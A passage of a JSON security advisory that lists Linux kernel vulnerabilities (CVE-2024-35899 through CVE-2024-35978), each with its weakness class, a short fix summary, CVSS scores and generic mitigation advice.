    },
    {
      "cve": "CVE-2024-35899",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnetfilter: nf_tables: flush pending destroy work before exit_net release\r\n\r\nSimilar to 2c9f0293280e (\"netfilter: nf_tables: flush pending destroy\r\nwork before netlink notifier\") to address a race between exit_net and\r\nthe destroy workqueue.\r\n\r\nThe trace below shows an element to be released via destroy workqueue\r\nwhile exit_net path (triggered via module removal) has already released\r\nthe set that is used in such transaction.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35899"
    },
    {
      "cve": "CVE-2024-35900",
      "cwe": {
        "id": "CWE-1287",
        "name": "Improper Validation of Specified Type of Input"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnetfilter: nf_tables: reject new basechain after table flag update\r\n\r\nWhen dormant flag is toggled, hooks are disabled in the commit phase by\r\niterating over current chains in table (existing and new).\r\n\r\nThe following configuration allows for an inconsistent state:\r\n\r\n  add table x\r\n  add chain x y { type filter hook input priority 0; }\r\n  add table x { flags dormant; }\r\n  add chain x w { type filter hook input priority 1; }\r\n\r\nwhich triggers the following warning when trying to unregister chain w\r\nwhich is already unregistered.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35900"
    },
    {
      "cve": "CVE-2024-35902",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net/rds: possible cp null dereference cp might be null, calling cp-\u003ecp_conn would produce null dereference. Cp is a parameter of __rds_rdma_map and is not reassigned.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35902"
    },
    {
      "cve": "CVE-2024-35905",
      "cwe": {
        "id": "CWE-129",
        "name": "Improper Validation of Array Index"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Protect against int overflow for stack access size\n\nThis patch re-introduces protection against the size of access to stack\nmemory being negative; the access size can appear negative as a result\nof overflowing its signed int representation. This should not actually\nhappen, as there are other protections along the way, but we should\nprotect against it anyway. One code path was missing such protections\n(fixed in the previous patch in the series), causing out-of-bounds array\naccesses in check_stack_range_initialized(). This patch causes the\nverification of a program with such a non-sensical access size to fail.\n\nThis check used to exist in a more indirect way, but was inadvertendly\nremoved in a833a17aeac7.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35905"
    },
    {
      "cve": "CVE-2024-35910",
      "cwe": {
        "id": "CWE-665",
        "name": "Improper Initialization"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: tcp: properly terminate timers for kernel sockets We had various syzbot reports about tcp timers firing after the corresponding netns has been dismantled. Fortunately Josef Bacik could trigger the issue more often, and could test a patch I wrote two years ago. When TCP sockets are closed, we call inet_csk_clear_xmit_timers() to \u0027stop\u0027 the timers. inet_csk_clear_xmit_timers() can be called from any context, including when socket lock is held. This is the reason it uses sk_stop_timer(), aka del_timer(). This means that ongoing timers might finish much later. For user sockets, this is fine because each running timer holds a reference on the socket, and the user socket holds a reference on the netns. For kernel sockets, we risk that the netns is freed before timer can complete, because kernel sockets do not hold reference on the netns. This patch adds inet_csk_clear_xmit_timers_sync() function that using sk_stop_timer_sync() to make sure all timers are terminated before the kernel socket is released. Modules using kernel sockets close them in their netns exit() handler. Also add sock_not_owned_by_me() helper to get LOCKDEP support : inet_csk_clear_xmit_timers_sync() must not be called while socket lock is held. It is very possible we can revert in the future commit 3a58f13a881e (\"net: rds: acquire refcount on TCP sockets\") which attempted to solve the issue in rds only. (net/smc/af_smc.c and net/mptcp/subflow.c have similar code) We probably can remove the check_net() tests from tcp_out_of_resources() and __tcp_close() in the future.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.8,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35910"
    },
    {
      "cve": "CVE-2024-35915",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "nfc: nci: Fix uninit-value in nci_dev_up and nci_ntf_packet",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35915"
    },
    {
      "cve": "CVE-2024-35922",
      "cwe": {
        "id": "CWE-369",
        "name": "Divide By Zero"
      },
      "notes": [
        {
          "category": "summary",
          "text": "fbmon: prevent division by zero in fb_videomode_from_videomode()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35922"
    },
    {
      "cve": "CVE-2024-35925",
      "cwe": {
        "id": "CWE-369",
        "name": "Divide By Zero"
      },
      "notes": [
        {
          "category": "summary",
          "text": "block: prevent division by zero in blk_rq_stat_sum()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35925"
    },
    {
      "cve": "CVE-2024-35930",
      "cwe": {
        "id": "CWE-401",
        "name": "Missing Release of Memory after Effective Lifetime"
      },
      "notes": [
        {
          "category": "summary",
          "text": "scsi: lpfc: Fix possible memory leak in lpfc_rcv_padisc()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35930"
    },
    {
      "cve": "CVE-2024-35933",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Bluetooth: btintel: Fix null ptr deref in btintel_read_version",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35933"
    },
    {
      "cve": "CVE-2024-35934",
      "cwe": {
        "id": "CWE-400",
        "name": "Uncontrolled Resource Consumption"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net/smc: reduce rtnl pressure in smc_pnet_create_pnetids_list()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 2.5,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35934"
    },
    {
      "cve": "CVE-2024-35935",
      "cwe": {
        "id": "CWE-124",
        "name": "Buffer Underwrite (\u0027Buffer Underflow\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "btrfs: send: handle path ref underflow in header iterate_inode_ref()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35935"
    },
    {
      "cve": "CVE-2024-35936",
      "cwe": {
        "id": "CWE-237",
        "name": "Improper Handling of Structural Elements"
      },
      "notes": [
        {
          "category": "summary",
          "text": "btrfs: handle chunk tree lookup error in btrfs_relocate_sys_chunks()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35936"
    },
    {
      "cve": "CVE-2024-35940",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "pstore/zone: Add a null pointer check to the psz_kmsg_read",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35940"
    },
    {
      "cve": "CVE-2024-35944",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "VMCI: Fix memcpy() run-time warning in dg_dispatch_as_host()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35944"
    },
    {
      "cve": "CVE-2024-35950",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "drm/client: Fully protect modes with dev-\u003emode_config.mutex",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.0,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35950"
    },
    {
      "cve": "CVE-2024-35955",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "kprobes: Fix possible use-after-free issue on kprobe registration",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35955"
    },
    {
      "cve": "CVE-2024-35958",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net: ena: Fix incorrect descriptor free behavior",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35958"
    },
    {
      "cve": "CVE-2024-35960",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net/mlx5: Properly link new fs rules into the tree",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35960"
    },
    {
      "cve": "CVE-2024-35962",
      "cwe": {
        "id": "CWE-1284",
        "name": "Improper Validation of Specified Quantity in Input"
      },
      "notes": [
        {
          "category": "summary",
          "text": "netfilter: complete validation of user input",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35962"
    },
    {
      "cve": "CVE-2024-35965",
      "cwe": {
        "id": "CWE-120",
        "name": "Buffer Copy without Checking Size of Input (\u0027Classic Buffer Overflow\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Bluetooth: L2CAP: Fix not validating setsockopt user input\r\n\r\nCheck user input length before copying data.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35965"
    },
    {
      "cve": "CVE-2024-35966",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Bluetooth: RFCOMM: Fix not validating setsockopt user input",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35966"
    },
    {
      "cve": "CVE-2024-35967",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Bluetooth: SCO: Fix not validating setsockopt user input",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35967"
    },
    {
      "cve": "CVE-2024-35969",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ipv6: fix race condition between ipv6_get_ifaddr and ipv6_del_addr",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35969"
    },
    {
      "cve": "CVE-2024-35973",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "geneve: fix header validation in geneve_xmit_skb",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35973"
    },
    {
      "cve": "CVE-2024-35976",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "xsk: validate user input for XDP_UMEM|COMPLETION_FILL_RING",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.7,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35976"
    },
    {
      "cve": "CVE-2024-35978",
      "cwe": {
        "id": "CWE-401",
        "name": "Missing Release of Memory after Effective Lifetime"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Bluetooth: Fix memory leak in hci_req_sync_complete()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
